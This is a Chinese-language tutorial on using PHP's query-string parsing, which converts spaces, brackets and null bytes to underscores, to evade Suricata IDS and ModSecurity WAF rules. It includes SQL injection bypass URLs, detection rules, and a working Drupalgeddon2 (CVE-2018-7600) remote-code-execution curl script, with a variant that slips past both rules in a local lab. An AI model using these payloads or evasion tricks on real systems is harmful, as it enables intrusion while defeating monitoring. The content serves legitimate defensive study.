利用PHP的字符串解析特性Bypass


零基礎黑客教程,黑客圈新聞,安全面試經驗php

盡在 # 掌控安全EDU #html




nginx

前言git

咱們知道PHP將查詢字符串(在URL或正文中)轉換爲內部$_GET或的關聯數組$_POST。例如:/?foo=bar變成Array([foo] => 「bar」)。github

值得注意的是,查詢字符串在解析的過程當中會將某些字符刪除或用下劃線代替。面試


例如,/?%20news[id%00=42會轉換爲Array([news_id] => 42)。ajax

若是一個IDS/IPS或WAF中有一條規則是當news_id參數的值是一個非數字的值則攔截,那麼咱們就能夠用如下語句繞過:正則表達式

/news.php?%20news[id%00=42"+AND+1=0--

上述PHP語句的參數%20news[id%00的值將存儲到$_GET["news_id"]中。數組

HP須要將全部參數轉換爲有效的變量名,所以在解析查詢字符串時,它會作兩件事:安全

1.刪除空白符

2.將某些字符轉換爲下劃線(包括空格)

例如:

User input Decoded PHP variable name
%20foo_bar%00 foo_bar foo_bar
foo%20bar%00 foo bar foo_bar
foo%5bbar foo[bar foo_bar

經過如下這個示例,你能夠更直觀的看到parser_str函數如何處理字符串:

<?php
   foreach(
       [            "{chr}foo_bar",            "foo{chr}bar",            "foo_bar{chr}"
       ] as $k => $arg) {            for($i=0;$i<=255;$i++) {                echo "\033[999D\033[K\r";                echo "[".$arg."] check ".bin2hex(chr($i))."";
               parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);                /* yes... I've added a sleep time on each loop just for
               the scenic effect
like that movie with unrealistic
               brute-force where the password are obtained
               one byte at a time (∩`-´)⊃━☆゚.*・。゚
               */

               usleep(
5000);                if(isset($o["foo_bar"])) {                    echo"\033[999D\033[K\r";                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
               }
           }            
echo"\033[999D\033[K\r";            echo"\n";
   }

parse_str函數一般被自動應用於get、post請求和cookie中。

若是你的Web服務器接受帶有特殊字符的參數名,那麼也會發生相似的狀況。

如上代碼所示,我進行了屢次循環,枚舉了參數名三個位置的0到255之間的全部字符,看看解析函數究竟是如何處理這些特殊字符的。


結果以下:

1.[1st]foo_bar

2.foo[2nd]bar

3.foo_bar[3rd]

在上述方案中,foo%20bar和foo+bar等效,均解析爲foo bar。


Surica


也許你也聽過這款軟件,Suricata是一個「開源、成熟、快速、強大的網絡威脅檢測引擎」,它的引擎可以進行實時入侵檢測(IDS)、入侵防護系統(IPS)、網絡安全監控(NSM)和離線流量包處理。


在Suricata中你能夠自定義一個HTTP流量的檢測規則。假設你有這樣一個規則:

alert http any any -> $HOME_NET any (\
msg: "Block SQLi"; flow:established,to_server;\
content: "POST"; http_method;\
pcre: "/news_id=[^0-9]+/Pi";\
sid:1234567;\
)

簡單來講,上述規則會檢查news_id的值是不是數字。那麼根據上述知識,咱們能夠很容易的繞過防護,以下所示:

/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'

/?news_id%00=1%22+AND+1=1--'

經過在Google和Github上進行搜索,我發現有不少關於Suricata規則能夠經過替換下劃線或插入空字符來繞過。


一個真實的例子:https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

上述規則能夠經過如下方式繞過:

/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00

固然,這條規則交換參數位置便可繞過,好比:

/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1

WAF(ModSecurity)


此外,PHP查詢字符串的解析特性也可用以繞過WAF。

想象一下,它的規則相似於SecRule !ARGS:news_id "@rx ^[0-9]+$" "block",這顯然能夠經過相同的手段繞過。

幸運的是,在ModSecurity中,能夠經過正則表達式指定查詢字符串中的參數。


好比:

SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

以上規則將攔截諸如如下的請求:

⛔️/?news[id=1%22+AND+1=1--'
⛔️/?news%5bid=1%22+AND+1=1--'

⛔️/?news_id%00=1%22+AND+1=1--'


Poc //GTFO


讓咱們用Suricata和Drupal CMS建立一個以利用CVE-2018-7600(Drupalgeddon2遠程執行代碼)的簡單PoC。

爲了簡單起見,我將在兩個Docker容器上運行Suricata和Drupal,並嘗試繞過Suricata攻擊Drupal。


我將使用兩條Suricata防護規則:

1.一條自定義規則攔截form_id=user_register_form

2.另外一條是關於CVE-2018-7600的通用規則Suricata官方安裝流程點擊[這裏](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Ubuntu_Installation_-_Personal_Package_Archives_(PPA)。

對於Drupal,我運行了一個Vulhub容器,你能夠在這裏下載:



首先,讓咱們嘗試利用CVE-2018-7600。一個利用curl命令的小型bash腳本,好比:

#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

如你所見,上面的腳本將執行命令id:

如今,讓咱們嘗試往Suricata導入如下兩條規則:我編寫了第一個規則,它只是嘗試form_id=user_register_form在請求體內進行匹配; 

Positive Technology /user/register在請求URL和#post_render請求正文中寫了第二個匹配項。

個人規則:

alert http any any -> $HOME_NET any (\
msg: "Possible Drupalgeddon2 attack";\
flow: established, to_server;\
content: "/user/register"; http_uri;\
content: "POST"; http_method;\
pcre: "/form_id=user_register_form/Pi";\
sid: 10002807;\
rev: 1;\
)

通用規則:

alert http any any -> $HOME_NET any (\
msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
flow: established, to_server; \
content: "/user/register"; http_uri; \
content: "POST"; http_method; \
content: "drupal"; http_client_body; \
pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
reference: cve, 2018-7600; \
reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
classtype: attempted-admin; \
reference: url, github.com/ptresearch/AttackDetection; \
metadata: Open Ptsecurity.com ruleset; \
sid: 10002808; \
rev: 2; \
)

在重啓Suricata後,個人攻擊被成功報警:

能夠看到,咱們獲得了兩條日誌:

1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080


Bypass!


這兩條規則其實都很容易繞過。首先,對於敏感字段form_id=user_register_form,咱們可將其替換爲以下內容:

form%5bid=user_register_form

如上圖所見,如今只有通用規則的警報。

分析通用規則的正則表達式,咱們能夠看到它對#和%23敏感,但不涉及下劃線的編碼。

所以,咱們可使用post%5frender代替post_render來繞過:


最後得出可繞過兩個規則的PoC:

#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"



黑客教程~ 課件 靶場 ~ 限!時!免費!送!

長按識別二維碼,便可限時免費報名課程。







                                   點擊在看~好文你們給一塊兒看!👇

本文分享自微信公衆號 - 掌控安全EDU(ZKAQEDU)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索